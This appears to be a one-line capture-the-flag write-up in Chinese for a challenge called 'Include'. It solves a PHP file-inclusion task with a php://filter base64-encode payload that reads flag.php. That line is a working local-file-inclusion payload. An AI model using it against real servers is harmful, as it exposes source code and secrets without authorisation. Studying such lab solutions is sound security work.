Include

这题考察的是文件包含的php协议，一句话解决：

php://filter/read=convert.base64-encode/resource=flag.php